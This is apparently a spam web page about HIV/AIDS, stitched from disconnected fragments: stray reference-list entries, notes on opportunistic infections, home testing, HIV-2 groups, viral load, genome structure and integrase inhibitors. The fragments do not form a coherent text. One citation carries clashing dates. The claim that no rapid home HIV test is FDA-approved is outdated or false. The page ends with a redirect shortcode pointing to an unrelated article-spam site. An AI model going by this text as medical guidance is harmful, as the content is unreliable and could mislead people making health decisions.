Department of Health and Human Services. Panel on Antiretroviral Guidelines for Adults and Adolescents. Guidelines for the use of antiretroviral agents in HIV-1-infected adults and adolescents. Updated August 22, 2016. aidsinfo.nih.gov/guidelines. Accessed May 7, 2015.
Viruses. AIDS patients are highly vulnerable to cytomegalovirus (CMV), herpes simplex virus (HSV), varicella zoster virus (VZV), and Epstein-Barr virus (EBV) infections. Another virus, JC virus, causes progressive destruction of brain tissue in the brain stem, cerebrum, and cerebellum (multifocal leukoencephalopathy or PML), which is regarded as an AIDS-defining illness by the CDC.
Jump up ^ Alimonti JB, Ball TB, Fowke KR (2003). “Mechanisms of CD4+ T lymphocyte cell death in human immunodeficiency virus infection and AIDS”. J. Gen. Virol. 84 (7): 1649–1661. doi:10.1099/vir.0.19110-0. PMID 12810858.
Because of the inaccurate results, the FDA has not approved any of the home-use HIV tests which allow people to interpret their tests in a few minutes at home. There is however a Home Access test approved which can be found at most drugstores. In this test blood from a finger prick is placed on a card and sent to a licensed lab. Consumers are given an identification number to use when phoning for results and have the opportunity to speak with a counselor if desired.
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If people at low risk have a negative test result, the screening test is not repeated unless their risk status changes. If people at the highest risk have a negative test result (especially if they are sexually active, have several partners, or do not practice safe sex), testing should be repeated every 6 to 12 months.
Talal AH, Irwin CE, Dieterich DT, Yee H, Zhang L. Effect of HIV-1 infection on lymphocyte proliferation in gut-associated lymphoid tissue. J Acquir Immune Defic Syndr. 2001 Mar 1. 26(3):208-17. [Medline].
Counseling for parenteral drug users: Counseling about the risk of sharing needles is important but is probably more effective if combined with provision of sterile needles, treatment of drug dependence, and rehabilitation.
As of 2010, there are 8 known HIV-2 groups (A to H). Of these, only groups A and B are pandemic. Group A is found in West Africa, but has also spread globally to Angola, Mozambique, Brazil, India, Europe, and the US. Despite the presence of HIV-2 globally, Group B is mainly confined to West Africa. Despite its relative confinement, HIV-2 should be considered in all patients exhibiting symptoms of HIV that not only come from West Africa, but also anyone who has had any body fluid transfer with a person from West Africa (i.e. needle sharing, sexual contact, etc.).
Your doctor can monitor how well your HIV treatment is working by measuring the amount of HIV in your blood (also called the viral load.) The goal of treatment is to get the viral load undetectable on labs tests; ideally less than 20 copies. This does not mean the virus is gone or cured, it means the medication is working and must be continued.
The RNA genome consists of at least seven structural landmarks (LTR, TAR, RRE, PE, SLIP, CRS, and INS), and nine genes (gag, pol, and env, tat, rev, nef, vif, vpr, vpu, and sometimes a tenth tev, which is a fusion of tat, env and rev), encoding 19 proteins. Three of these genes, gag, pol, and env, contain information needed to make the structural proteins for new virus particles. For example, env codes for a protein called gp160 that is cut in two by a cellular protease to form gp120 and gp41. The six remaining genes, tat, rev, nef, vif, vpr, and vpu (or vpx in the case of HIV-2), are regulatory genes for proteins that control the ability of HIV to infect cells, produce new copies of virus (replicate), or cause disease.
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HIV needs the integrase enzyme to infect T cells. This drug prevents that step. Integrase inhibitors are often used in the first line of treatment because they are effective for many people, and cause minimal side effects. Integrase inhibitors include elvitegravir (Vitekta), dolutegravir (Tivicay), and raltegravir (Isentress) [redirect url=’http://penetratearticles.info/bump’ sec=’7′]